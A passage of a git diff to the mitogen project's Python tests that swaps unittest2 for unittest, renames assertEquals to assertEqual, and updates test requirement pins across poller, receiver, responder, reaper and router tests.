self.assertFalse(0, 1) self.assertTrue(1, 1) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/poller_test.py b/tests/poller_test.py index 3ed59ae3..4b6bdc0e 100644 --- a/tests/poller_test.py +++ b/tests/poller_test.py @@ -1,12 +1,9 @@ - import errno import os import select import socket import sys -import time - -import unittest2 +import unittest import mitogen.core import mitogen.parent @@ -88,69 +85,69 @@ class PollerMixin(object): class ReceiveStateMixin(PollerMixin, SockMixin): def test_start_receive_adds_reader(self): self.p.start_receive(self.l1) - self.assertEquals([(self.l1, self.l1)], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([(self.l1, self.l1)], self.p.readers) + self.assertEqual([], self.p.writers) def test_start_receive_adds_reader_data(self): data = object() self.p.start_receive(self.l1, data=data) - self.assertEquals([(self.l1, data)], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([(self.l1, data)], self.p.readers) + self.assertEqual([], self.p.writers) def test_stop_receive(self): self.p.start_receive(self.l1) self.p.stop_receive(self.l1) - self.assertEquals([], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([], self.p.writers) def test_stop_receive_dup(self): self.p.start_receive(self.l1) self.p.stop_receive(self.l1) - self.assertEquals([], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([], self.p.writers) self.p.stop_receive(self.l1) - self.assertEquals([], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([], self.p.writers) def test_stop_receive_noexist(self): p = self.klass() p.stop_receive(123) # should not fail - self.assertEquals([], p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], p.readers) + self.assertEqual([], self.p.writers) class TransmitStateMixin(PollerMixin, SockMixin): def test_start_transmit_adds_writer(self): self.p.start_transmit(self.r1) - self.assertEquals([], self.p.readers) - self.assertEquals([(self.r1, self.r1)], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([(self.r1, self.r1)], self.p.writers) def test_start_transmit_adds_writer_data(self): data = object() self.p.start_transmit(self.r1, data=data) - self.assertEquals([], self.p.readers) - self.assertEquals([(self.r1, data)], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([(self.r1, data)], self.p.writers) def test_stop_transmit(self): self.p.start_transmit(self.r1) self.p.stop_transmit(self.r1) - self.assertEquals([], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([], self.p.writers) def test_stop_transmit_dup(self): self.p.start_transmit(self.r1) self.p.stop_transmit(self.r1) - self.assertEquals([], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([], self.p.writers) self.p.stop_transmit(self.r1) - self.assertEquals([], self.p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], self.p.readers) + self.assertEqual([], self.p.writers) def test_stop_transmit_noexist(self): p = self.klass() p.stop_receive(123) # should not fail - self.assertEquals([], p.readers) - self.assertEquals([], self.p.writers) + self.assertEqual([], p.readers) + self.assertEqual([], self.p.writers) class CloseMixin(PollerMixin): @@ -165,42 +162,42 @@ class CloseMixin(PollerMixin): class PollMixin(PollerMixin): def test_empty_zero_timeout(self): t0 = mitogen.core.now() - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) self.assertTrue((mitogen.core.now() - t0) < .1) # vaguely reasonable def test_empty_small_timeout(self): t0 = mitogen.core.now() - self.assertEquals([], list(self.p.poll(.2))) + self.assertEqual([], list(self.p.poll(.2))) self.assertTrue((mitogen.core.now() - t0) >= .2) class ReadableMixin(PollerMixin, SockMixin): def test_unreadable(self): self.p.start_receive(self.l1) - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) def test_readable_before_add(self): self.fill(self.r1) self.p.start_receive(self.l1) - self.assertEquals([self.l1], list(self.p.poll(0))) + self.assertEqual([self.l1], list(self.p.poll(0))) def test_readable_after_add(self): self.p.start_receive(self.l1) self.fill(self.r1) - self.assertEquals([self.l1], list(self.p.poll(0))) + self.assertEqual([self.l1], list(self.p.poll(0))) def test_readable_then_unreadable(self): self.fill(self.r1) self.p.start_receive(self.l1) - self.assertEquals([self.l1], list(self.p.poll(0))) + self.assertEqual([self.l1], list(self.p.poll(0))) self.drain(self.l1) - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) def test_readable_data(self): data = object() self.fill(self.r1) self.p.start_receive(self.l1, data=data) - self.assertEquals([data], list(self.p.poll(0))) + self.assertEqual([data], list(self.p.poll(0))) def test_double_readable_data(self): data1 = object() @@ -209,35 +206,35 @@ class ReadableMixin(PollerMixin, SockMixin): self.p.start_receive(self.l1, data=data1) self.fill(self.r2) self.p.start_receive(self.l2, data=data2) - self.assertEquals(set([data1, data2]), set(self.p.poll(0))) + self.assertEqual(set([data1, data2]), set(self.p.poll(0))) class WriteableMixin(PollerMixin, SockMixin): def test_writeable(self): self.p.start_transmit(self.r1) - self.assertEquals([self.r1], list(self.p.poll(0))) + self.assertEqual([self.r1], list(self.p.poll(0))) def test_writeable_data(self): data = object() self.p.start_transmit(self.r1, data=data) - self.assertEquals([data], list(self.p.poll(0))) + self.assertEqual([data], list(self.p.poll(0))) def test_unwriteable_before_add(self): self.fill(self.r1) self.p.start_transmit(self.r1) - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) def test_unwriteable_after_add(self): self.p.start_transmit(self.r1) self.fill(self.r1) - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) def test_unwriteable_then_writeable(self): self.fill(self.r1) self.p.start_transmit(self.r1) - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) self.drain(self.l1) - self.assertEquals([self.r1], list(self.p.poll(0))) + self.assertEqual([self.r1], list(self.p.poll(0))) def test_double_unwriteable_then_Writeable(self): self.fill(self.r1) @@ -246,13 +243,13 @@ class WriteableMixin(PollerMixin, SockMixin): self.fill(self.r2) self.p.start_transmit(self.r2) - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) self.drain(self.l1) - self.assertEquals([self.r1], list(self.p.poll(0))) + self.assertEqual([self.r1], list(self.p.poll(0))) self.drain(self.l2) - self.assertEquals(set([self.r1, self.r2]), set(self.p.poll(0))) + self.assertEqual(set([self.r1, self.r2]), set(self.p.poll(0))) class MutateDuringYieldMixin(PollerMixin, SockMixin): @@ -264,13 +261,13 @@ class MutateDuringYieldMixin(PollerMixin, SockMixin): self.p.start_receive(self.r1) p = self.p.poll(0) self.p.stop_receive(self.r1) - self.assertEquals([], list(p)) + self.assertEqual([], list(p)) def test_one_writeable_removed_before_yield(self): self.p.start_transmit(self.r1) p = self.p.poll(0) self.p.stop_transmit(self.r1) - self.assertEquals([], list(p)) + self.assertEqual([], list(p)) def test_one_readable_readded_before_yield(self): # fd removed, closed, another fd opened, gets same fd number, re-added. @@ -280,7 +277,7 @@ class MutateDuringYieldMixin(PollerMixin, SockMixin): p = self.p.poll(0) self.p.stop_receive(self.r1) self.p.start_receive(self.r1) - self.assertEquals([], list(p)) + self.assertEqual([], list(p)) def test_one_readable_readded_during_yield(self): self.fill(self.l1) @@ -301,7 +298,7 @@ class MutateDuringYieldMixin(PollerMixin, SockMixin): # the start_receive() may be for a totally new underlying file object, # the live loop iteration must not yield any buffered readiness event. - self.assertEquals([], list(p)) + self.assertEqual([], list(p)) class FileClosedMixin(PollerMixin, SockMixin): @@ -310,10 +307,10 @@ class FileClosedMixin(PollerMixin, SockMixin): def test_writeable_then_closed(self): self.p.start_transmit(self.r1) - self.assertEquals([self.r1], list(self.p.poll(0))) + self.assertEqual([self.r1], list(self.p.poll(0))) self.close_socks() try: - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) except select.error: # a crash is also reasonable here. pass @@ -323,7 +320,7 @@ class FileClosedMixin(PollerMixin, SockMixin): p = self.p.poll(0) self.close_socks() try: - self.assertEquals([], list(p)) + self.assertEqual([], list(p)) except select.error: # a crash is also reasonable here. pass @@ -331,10 +328,10 @@ class FileClosedMixin(PollerMixin, SockMixin): def test_readable_then_closed(self): self.fill(self.l1) self.p.start_receive(self.r1) - self.assertEquals([self.r1], list(self.p.poll(0))) + self.assertEqual([self.r1], list(self.p.poll(0))) self.close_socks() try: - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) except select.error: # a crash is also reasonable here. pass @@ -345,7 +342,7 @@ class FileClosedMixin(PollerMixin, SockMixin): p = self.p.poll(0) self.close_socks() try: - self.assertEquals([], list(p)) + self.assertEqual([], list(p)) except select.error: # a crash is also reasonable here. pass @@ -357,10 +354,10 @@ class TtyHangupMixin(PollerMixin): master_fp, slave_fp = mitogen.parent.openpty() try: self.p.start_receive(master_fp.fileno()) - self.assertEquals([], list(self.p.poll(0))) + self.assertEqual([], list(self.p.poll(0))) slave_fp.close() slave_fp = None - self.assertEquals([master_fp.fileno()], list(self.p.poll(0))) + self.assertEqual([master_fp.fileno()], list(self.p.poll(0))) finally: if slave_fp is not None: slave_fp.close() @@ -377,9 +374,9 @@ class DistinctDataMixin(PollerMixin, SockMixin): self.p.start_receive(self.r1, data=rdata) self.p.start_transmit(self.r1, data=wdata) - self.assertEquals([wdata], list(self.p.poll(0))) + self.assertEqual([wdata], list(self.p.poll(0))) self.fill(self.l1) # r1 is now readable and writeable. - self.assertEquals(set([rdata, wdata]), set(self.p.poll(0))) + self.assertEqual(set([rdata, wdata]), set(self.p.poll(0))) class AllMixin(ReceiveStateMixin, @@ -400,7 +397,7 @@ class AllMixin(ReceiveStateMixin, class SelectTest(AllMixin, testlib.TestCase): klass = mitogen.core.Poller -SelectTest = unittest2.skipIf( +SelectTest = unittest.skipIf( condition=(not SelectTest.klass.SUPPORTED), reason='select.select() not supported' )(SelectTest) @@ -409,7 +406,7 @@ SelectTest = unittest2.skipIf( class PollTest(AllMixin, testlib.TestCase): klass = mitogen.parent.PollPoller -PollTest = unittest2.skipIf( +PollTest = unittest.skipIf( condition=(not PollTest.klass.SUPPORTED), reason='select.poll() not supported' )(PollTest) @@ -418,7 +415,7 @@ PollTest = unittest2.skipIf( class KqueueTest(AllMixin, testlib.TestCase): klass = mitogen.parent.KqueuePoller -KqueueTest = unittest2.skipIf( +KqueueTest = unittest.skipIf( condition=(not KqueueTest.klass.SUPPORTED), reason='select.kqueue() not supported' )(KqueueTest) @@ -427,11 +424,7 @@ KqueueTest = unittest2.skipIf( class EpollTest(AllMixin, testlib.TestCase): klass = mitogen.parent.EpollPoller -EpollTest = unittest2.skipIf( +EpollTest = unittest.skipIf( condition=(not EpollTest.klass.SUPPORTED), reason='select.epoll() not supported' )(EpollTest) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/polyfill_functions_test.py b/tests/polyfill_functions_test.py index ae65eb2f..222da7b5 100644 --- a/tests/polyfill_functions_test.py +++ b/tests/polyfill_functions_test.py @@ -1,6 +1,4 @@ - import testlib -import unittest2 import mitogen.core from mitogen.core import b @@ -14,27 +12,27 @@ class BytesPartitionTest(testlib.TestCase): self.assertTrue(isinstance(left, mitogen.core.BytesType)) self.assertTrue(isinstance(sep, mitogen.core.BytesType)) self.assertTrue(isinstance(right, mitogen.core.BytesType)) - self.assertEquals(left, b('dave')) - self.assertEquals(sep, b('')) - self.assertEquals(right, b('')) + self.assertEqual(left, b('dave')) + self.assertEqual(sep, b('')) + self.assertEqual(right, b('')) def test_one_sep(self): left, sep, right = self.func(b('davexdave'), b('x')) self.assertTrue(isinstance(left, mitogen.core.BytesType)) self.assertTrue(isinstance(sep, mitogen.core.BytesType)) self.assertTrue(isinstance(right, mitogen.core.BytesType)) - self.assertEquals(left, b('dave')) - self.assertEquals(sep, b('x')) - self.assertEquals(right, b('dave')) + self.assertEqual(left, b('dave')) + self.assertEqual(sep, b('x')) + self.assertEqual(right, b('dave')) def test_two_seps(self): left, sep, right = self.func(b('davexdavexdave'), b('x')) self.assertTrue(isinstance(left, mitogen.core.BytesType)) self.assertTrue(isinstance(sep, mitogen.core.BytesType)) self.assertTrue(isinstance(right, mitogen.core.BytesType)) - self.assertEquals(left, b('dave')) - self.assertEquals(sep, b('x')) - self.assertEquals(right, b('davexdave')) + self.assertEqual(left, b('dave')) + self.assertEqual(sep, b('x')) + self.assertEqual(right, b('davexdave')) class StrPartitionTest(testlib.TestCase): @@ -45,27 +43,27 @@ class StrPartitionTest(testlib.TestCase): self.assertTrue(isinstance(left, mitogen.core.UnicodeType)) self.assertTrue(isinstance(sep, mitogen.core.UnicodeType)) self.assertTrue(isinstance(right, mitogen.core.UnicodeType)) - self.assertEquals(left, u'dave') - self.assertEquals(sep, u'') - self.assertEquals(right, u'') + self.assertEqual(left, u'dave') + self.assertEqual(sep, u'') + self.assertEqual(right, u'') def test_one_sep(self): left, sep, right = self.func(u'davexdave', u'x') self.assertTrue(isinstance(left, mitogen.core.UnicodeType)) self.assertTrue(isinstance(sep, mitogen.core.UnicodeType)) self.assertTrue(isinstance(right, mitogen.core.UnicodeType)) - self.assertEquals(left, u'dave') - self.assertEquals(sep, u'x') - self.assertEquals(right, u'dave') + self.assertEqual(left, u'dave') + self.assertEqual(sep, u'x') + self.assertEqual(right, u'dave') def test_two_seps(self): left, sep, right = self.func(u'davexdavexdave', u'x') self.assertTrue(isinstance(left, mitogen.core.UnicodeType)) self.assertTrue(isinstance(sep, mitogen.core.UnicodeType)) self.assertTrue(isinstance(right, mitogen.core.UnicodeType)) - self.assertEquals(left, u'dave') - self.assertEquals(sep, u'x') - self.assertEquals(right, u'davexdave') + self.assertEqual(left, u'dave') + self.assertEqual(sep, u'x') + self.assertEqual(right, u'davexdave') class StrRpartitionTest(testlib.TestCase): @@ -76,28 +74,24 @@ class StrRpartitionTest(testlib.TestCase): self.assertTrue(isinstance(left, mitogen.core.UnicodeType)) self.assertTrue(isinstance(sep, mitogen.core.UnicodeType)) self.assertTrue(isinstance(right, mitogen.core.UnicodeType)) - self.assertEquals(left, u'') - self.assertEquals(sep, u'') - self.assertEquals(right, u'dave') + self.assertEqual(left, u'') + self.assertEqual(sep, u'') + self.assertEqual(right, u'dave') def test_one_sep(self): left, sep, right = self.func(u'davexdave', u'x') self.assertTrue(isinstance(left, mitogen.core.UnicodeType)) self.assertTrue(isinstance(sep, mitogen.core.UnicodeType)) self.assertTrue(isinstance(right, mitogen.core.UnicodeType)) - self.assertEquals(left, u'dave') - self.assertEquals(sep, u'x') - self.assertEquals(right, u'dave') + self.assertEqual(left, u'dave') + self.assertEqual(sep, u'x') + self.assertEqual(right, u'dave') def test_two_seps(self): left, sep, right = self.func(u'davexdavexdave', u'x') self.assertTrue(isinstance(left, mitogen.core.UnicodeType)) self.assertTrue(isinstance(sep, mitogen.core.UnicodeType)) self.assertTrue(isinstance(right, mitogen.core.UnicodeType)) - self.assertEquals(left, u'davexdave') - self.assertEquals(sep, u'x') - self.assertEquals(right, u'dave') - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(left, u'davexdave') + self.assertEqual(sep, u'x') + self.assertEqual(right, u'dave') diff --git a/tests/push_file_service_test.py b/tests/push_file_service_test.py index 1dfff241..f494a5af 100644 --- a/tests/push_file_service_test.py +++ b/tests/push_file_service_test.py @@ -1,7 +1,4 @@ - -import os import tempfile -import unittest2 import mitogen.core import mitogen.service @@ -44,13 +41,9 @@ class PropagateToTest(testlib.RouterMixin, testlib.TestCase): service.propagate_to(context=c2, path=path) s = c1.call(wait_for_file, path=path) - self.assertEquals(b('test'), s) + self.assertEqual(b('test'), s) s = c2.call(wait_for_file, path=path) - self.assertEquals(b('test'), s) + self.assertEqual(b('test'), s) finally: tf.close() - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/reaper_test.py b/tests/reaper_test.py index e78fdbf2..b60b13a4 100644 --- a/tests/reaper_test.py +++ b/tests/reaper_test.py @@ -1,6 +1,5 @@ - import signal -import unittest2 + import testlib import mock @@ -14,13 +13,13 @@ class ReaperTest(testlib.TestCase): proc = mock.Mock() proc.poll.return_value = None reaper = mitogen.parent.Reaper(broker, proc, True, True) - self.assertEquals(50, int(1000 * reaper._calc_delay(0))) - self.assertEquals(86, int(1000 * reaper._calc_delay(1))) - self.assertEquals(147, int(1000 * reaper._calc_delay(2))) - self.assertEquals(254, int(1000 * reaper._calc_delay(3))) - self.assertEquals(437, int(1000 * reaper._calc_delay(4))) - self.assertEquals(752, int(1000 * reaper._calc_delay(5))) - self.assertEquals(1294, int(1000 * reaper._calc_delay(6))) + self.assertEqual(50, int(1000 * reaper._calc_delay(0))) + self.assertEqual(86, int(1000 * reaper._calc_delay(1))) + self.assertEqual(147, int(1000 * reaper._calc_delay(2))) + self.assertEqual(254, int(1000 * reaper._calc_delay(3))) + self.assertEqual(437, int(1000 * reaper._calc_delay(4))) + self.assertEqual(752, int(1000 * reaper._calc_delay(5))) + self.assertEqual(1294, int(1000 * reaper._calc_delay(6))) @mock.patch('os.kill') def test_reap_calls(self, kill): @@ -31,24 +30,20 @@ class ReaperTest(testlib.TestCase): reaper = mitogen.parent.Reaper(broker, proc, True, True) reaper.reap() - self.assertEquals(0, kill.call_count) + self.assertEqual(0, kill.call_count) reaper.reap() - self.assertEquals(1, kill.call_count) + self.assertEqual(1, kill.call_count) reaper.reap() reaper.reap() reaper.reap() - self.assertEquals(1, kill.call_count) + self.assertEqual(1, kill.call_count) reaper.reap() - self.assertEquals(2, kill.call_count) + self.assertEqual(2, kill.call_count) - self.assertEquals(kill.mock_calls, [ + self.assertEqual(kill.mock_calls, [ mock.call(proc.pid, signal.SIGTERM), mock.call(proc.pid, signal.SIGKILL), ]) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/receiver_test.py b/tests/receiver_test.py index 65c5f7ff..aaf15b2b 100644 --- a/tests/receiver_test.py +++ b/tests/receiver_test.py @@ -1,7 +1,6 @@ - import sys import threading -import unittest2 +import unittest import mitogen.core import testlib @@ -26,7 +25,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): handle=recv.handle, ) ) - self.assertEquals('hi', recv.get().unpickle()) + self.assertEqual('hi', recv.get().unpickle()) class IterationTest(testlib.RouterMixin, testlib.TestCase): @@ -34,8 +33,8 @@ class IterationTest(testlib.RouterMixin, testlib.TestCase): recv = mitogen.core.Receiver(self.router) fork = self.router.local() ret = fork.call_async(yield_stuff_then_die, recv.to_sender()) - self.assertEquals(list(range(5)), list(m.unpickle() for m in recv)) - self.assertEquals(10, ret.get().unpickle()) + self.assertEqual(list(range(5)), list(m.unpickle() for m in recv)) + self.assertEqual(10, ret.get().unpickle()) def iter_and_put(self, recv, latch): try: @@ -76,7 +75,7 @@ class CloseTest(testlib.RouterMixin, testlib.TestCase): raise latch.get() t.join() e = self.assertRaises(mitogen.core.ChannelError, throw) - self.assertEquals(e.args[0], mitogen.core.Receiver.closed_msg) + self.assertEqual(e.args[0], mitogen.core.Receiver.closed_msg) def test_closes_all(self): latch = mitogen.core.Latch() @@ -92,7 +91,7 @@ class CloseTest(testlib.RouterMixin, testlib.TestCase): raise latch.get() for x in range(5): e = self.assertRaises(mitogen.core.ChannelError, throw) - self.assertEquals(e.args[0], mitogen.core.Receiver.closed_msg) + self.assertEqual(e.args[0], mitogen.core.Receiver.closed_msg) for t in ts: t.join() @@ -118,9 +117,9 @@ class OnReceiveTest(testlib.RouterMixin, testlib.TestCase): raise latch.get() t.join() e = self.assertRaises(mitogen.core.ChannelError, throw) - self.assertEquals(e.args[0], sender.explicit_close_msg) + self.assertEqual(e.args[0], sender.explicit_close_msg) - @unittest2.skip(reason=( + @unittest.skip(reason=( 'Unclear if a asingle dead message received from remote should ' 'cause all threads to wake up.' )) @@ -139,7 +138,7 @@ class OnReceiveTest(testlib.RouterMixin, testlib.TestCase): raise latch.get() for x in range(5): e = self.assertRaises(mitogen.core.ChannelError, throw) - self.assertEquals(e.args[0], mitogen.core.Receiver.closed_msg) + self.assertEqual(e.args[0], mitogen.core.Receiver.closed_msg) for t in ts: t.join() @@ -152,8 +151,4 @@ class ToSenderTest(testlib.RouterMixin, testlib.TestCase): def test_returned_context(self): myself = self.router.myself() recv = self.klass(self.router) - self.assertEquals(myself, recv.to_sender().context) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(myself, recv.to_sender().context) diff --git a/tests/requirements.txt b/tests/requirements.txt index 76e6545d..319e0f51 100644 --- a/tests/requirements.txt +++ b/tests/requirements.txt @@ -1,17 +1,18 @@ psutil==5.4.8 coverage==4.5.1 Django==1.6.11 # Last version supporting 2.6. +faulthandler==3.2; python_version < '3.3' mock==2.0.0 pytz==2018.5 cffi==1.14.3 # Random pin to try and fix pyparser==2.18 not having effect pycparser==2.18 # Last version supporting 2.6. -faulthandler==3.1; python_version < '3.3' # used by testlib pytest-catchlog==1.2.2 pytest==3.1.2 timeoutcontext==1.2.0 -unittest2==1.1.0 # Fix InsecurePlatformWarning while creating py26 tox environment # https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings -urllib3[secure]; python_version < '2.7.9' +urllib3[secure]==1.23; python_version < '2.7' +urllib3[secure]==1.26; python_version > '2.6' and python_version < '2.7.9' # Last idna compatible with Python 2.6 was idna 2.7. idna==2.7; python_version < '2.7' +virtualenv==20.10.0 diff --git a/tests/responder_test.py b/tests/responder_test.py index 2653589c..3ab60be3 100644 --- a/tests/responder_test.py +++ b/tests/responder_test.py @@ -1,10 +1,8 @@ - import mock import textwrap import subprocess import sys - -import unittest2 +import unittest import mitogen.master import testlib @@ -25,7 +23,7 @@ class NeutralizeMainTest(testlib.RouterMixin, testlib.TestCase): args = [sys.executable, path] proc = subprocess.Popen(args, stderr=subprocess.PIPE) _, stderr = proc.communicate() - self.assertEquals(1, proc.returncode) + self.assertEqual(1, proc.returncode) expect = self.klass.main_guard_msg % (path,) self.assertTrue(expect in stderr.decode()) @@ -44,7 +42,7 @@ class NeutralizeMainTest(testlib.RouterMixin, testlib.TestCase): def test_mitogen_main(self): untouched = self.call("derp.py", self.HAS_MITOGEN_MAIN) - self.assertEquals(untouched, self.HAS_MITOGEN_MAIN) + self.assertEqual(untouched, self.HAS_MITOGEN_MAIN) HAS_EXEC_GUARD = mitogen.core.b( textwrap.dedent(""" @@ -64,7 +62,7 @@ class NeutralizeMainTest(testlib.RouterMixin, testlib.TestCase): def test_exec_guard(self): touched = self.call("derp.py", self.HAS_EXEC_GUARD) bits = touched.decode().split() - self.assertEquals(bits[-3:], ['def', 'main():', 'pass']) + self.assertEqual(bits[-3:], ['def', 'main():', 'pass']) class GoodModulesTest(testlib.RouterMixin, testlib.TestCase): @@ -73,22 +71,22 @@ class GoodModulesTest(testlib.RouterMixin, testlib.TestCase): # package machinery damage. context = self.router.local() - self.assertEquals(256, context.call(plain_old_module.pow, 2, 8)) + self.assertEqual(256, context.call(plain_old_module.pow, 2, 8)) os_fork = int(sys.version_info < (2, 6)) # mitogen.os_fork - self.assertEquals(1+os_fork, self.router.responder.get_module_count) - self.assertEquals(1+os_fork, self.router.responder.good_load_module_count) + self.assertEqual(1+os_fork, self.router.responder.get_module_count) + self.assertEqual(1+os_fork, self.router.responder.good_load_module_count) self.assertLess(300, self.router.responder.good_load_module_size) def test_simple_pkg(self): # Ensure success of a simple package containing two submodules, one of # which imports the other. context = self.router.local() - self.assertEquals(3, + self.assertEqual(3, context.call(simple_pkg.a.subtract_one_add_two, 2)) os_fork = int(sys.version_info < (2, 6)) # mitogen.os_fork - self.assertEquals(2+os_fork, self.router.responder.get_module_count) - self.assertEquals(3+os_fork, self.router.responder.good_load_module_count) - self.assertEquals(0, self.router.responder.bad_load_module_count) + self.assertEqual(2+os_fork, self.router.responder.get_module_count) + self.assertEqual(3+os_fork, self.router.responder.good_load_module_count) + self.assertEqual(0, self.router.responder.bad_load_module_count) self.assertLess(450, self.router.responder.good_load_module_size) def test_self_contained_program(self): @@ -96,7 +94,7 @@ class GoodModulesTest(testlib.RouterMixin, testlib.TestCase): # successfully. args = [sys.executable, testlib.data_path('self_contained_program.py')] output = testlib.subprocess__check_output(args).decode() - self.assertEquals(output, "['__main__', 50]\n") + self.assertEqual(output, "['__main__', 50]\n") class BrokenModulesTest(testlib.TestCase): @@ -117,20 +115,20 @@ class BrokenModulesTest(testlib.TestCase): responder = mitogen.master.ModuleResponder(router) responder._on_get_module(msg) - self.assertEquals(1, len(router._async_route.mock_calls)) + self.assertEqual(1, len(router._async_route.mock_calls)) - self.assertEquals(1, responder.get_module_count) - self.assertEquals(0, responder.good_load_module_count) - self.assertEquals(0, responder.good_load_module_size) - self.assertEquals(1, responder.bad_load_module_count) + self.assertEqual(1, responder.get_module_count) + self.assertEqual(0, responder.good_load_module_count) + self.assertEqual(0, responder.good_load_module_size) + self.assertEqual(1, responder.bad_load_module_count) call = router._async_route.mock_calls[0] msg, = call[1] - self.assertEquals(mitogen.core.LOAD_MODULE, msg.handle) - self.assertEquals(('non_existent_module', None, None, None, ()), + self.assertEqual(mitogen.core.LOAD_MODULE, msg.handle) + self.assertEqual(('non_existent_module', None, None, None, ()), msg.unpickle()) - @unittest2.skipIf( + @unittest.skipIf( condition=sys.version_info < (2, 6), reason='Ancient Python lacked "from . import foo"', ) @@ -155,15 +153,15 @@ class BrokenModulesTest(testlib.TestCase): responder = mitogen.master.ModuleResponder(router) responder._on_get_module(msg) - self.assertEquals(1, len(router._async_route.mock_calls)) + self.assertEqual(1, len(router._async_route.mock_calls)) - self.assertEquals(1, responder.get_module_count) - self.assertEquals(1, responder.good_load_module_count) - self.assertEquals(0, responder.bad_load_module_count) + self.assertEqual(1, responder.get_module_count) + self.assertEqual(1, responder.good_load_module_count) + self.assertEqual(0, responder.bad_load_module_count) call = router._async_route.mock_calls[0] msg, = call[1] - self.assertEquals(mitogen.core.LOAD_MODULE, msg.handle) + self.assertEqual(mitogen.core.LOAD_MODULE, msg.handle) tup = msg.unpickle() self.assertIsInstance(tup, tuple) @@ -189,30 +187,26 @@ class ForwardTest(testlib.RouterMixin, testlib.TestCase): c2 = self.router.local(via=c1) os_fork = int(sys.version_info < (2, 6)) - self.assertEquals(256, c2.call(plain_old_module.pow, 2, 8)) - self.assertEquals(2+os_fork, self.router.responder.get_module_count) - self.assertEquals(2+os_fork, self.router.responder.good_load_module_count) + self.assertEqual(256, c2.call(plain_old_module.pow, 2, 8)) + self.assertEqual(2+os_fork, self.router.responder.get_module_count) + self.assertEqual(2+os_fork, self.router.responder.good_load_module_count) self.assertLess(10000, self.router.responder.good_load_module_size) self.assertGreater(40000, self.router.responder.good_load_module_size) class BlacklistTest(testlib.TestCase): - @unittest2.skip('implement me') + @unittest.skip('implement me') def test_whitelist_no_blacklist(self): assert 0 - @unittest2.skip('implement me') + @unittest.skip('implement me') def test_whitelist_has_blacklist(self): assert 0 - @unittest2.skip('implement me') + @unittest.skip('implement me') def test_blacklist_no_whitelist(self): assert 0 - @unittest2.skip('implement me') + @unittest.skip('implement me') def test_blacklist_has_whitelist(self): assert 0 - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/router_test.py b/tests/router_test.py index 61e7a2c5..656ca734 100644 --- a/tests/router_test.py +++ b/tests/router_test.py @@ -1,11 +1,8 @@ import errno import os import sys -import time import zlib -import unittest2 - import testlib import mitogen.core import mitogen.master @@ -99,7 +96,7 @@ class SourceVerifyTest(testlib.RouterMixin, testlib.TestCase): e = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get().unpickle() ) - self.assertEquals(e.args[0], self.router.no_route_msg % ( + self.assertEqual(e.args[0], self.router.no_route_msg % ( 1234, c1.context_id, )) @@ -138,7 +135,7 @@ class PolicyTest(testlib.RouterMixin, testlib.TestCase): recv.to_sender().send(123) self.sync_with_broker() self.assertFalse(recv.empty()) - self.assertEquals(123, recv.get().unpickle()) + self.assertEqual(123, recv.get().unpickle()) def test_refuse_all(self): # Deliver a message locally from child2 with the correct auth_id, but @@ -176,7 +173,7 @@ class PolicyTest(testlib.RouterMixin, testlib.TestCase): # Verify CallError received by reply_to target. e = self.assertRaises(mitogen.core.ChannelError, lambda: reply_target.get().unpickle()) - self.assertEquals(e.args[0], self.router.refused_msg) + self.assertEqual(e.args[0], self.router.refused_msg) class CrashTest(testlib.BrokerMixin, testlib.TestCase): @@ -227,7 +224,7 @@ class AddHandlerTest(testlib.TestCase): router.add_handler((lambda: None), handle=1234) e = self.assertRaises(mitogen.core.Error, lambda: router.add_handler((lambda: None), handle=1234)) - self.assertEquals(router.duplicate_handle_msg, e.args[0]) + self.assertEqual(router.duplicate_handle_msg, e.args[0]) router.del_handler(1234) finally: router.broker.shutdown() @@ -248,9 +245,9 @@ class AddHandlerTest(testlib.TestCase): class MyselfTest(testlib.RouterMixin, testlib.TestCase): def test_myself(self): myself = self.router.myself() - self.assertEquals(myself.context_id, mitogen.context_id) + self.assertEqual(myself.context_id, mitogen.context_id) # TODO: context should know its own name too. - self.assertEquals(myself.name, 'self') + self.assertEqual(myself.name, 'self') class MessageSizeTest(testlib.BrokerMixin, testlib.TestCase): @@ -283,7 +280,7 @@ class MessageSizeTest(testlib.BrokerMixin, testlib.TestCase): child = router.local() e = self.assertRaises(mitogen.core.ChannelError, lambda: child.call(zlib.crc32, ' '*8192)) - self.assertEquals(e.args[0], expect) + self.assertEqual(e.args[0], expect) self.assertTrue(expect in logs.stop()) @@ -302,20 +299,20 @@ class MessageSizeTest(testlib.BrokerMixin, testlib.TestCase): lambda: recv.get().unpickle() ) expect = router.too_large_msg % (4096,) - self.assertEquals(e.args[0], expect) + self.assertEqual(e.args[0], expect) def test_remote_configured(self): router = self.klass(broker=self.broker, 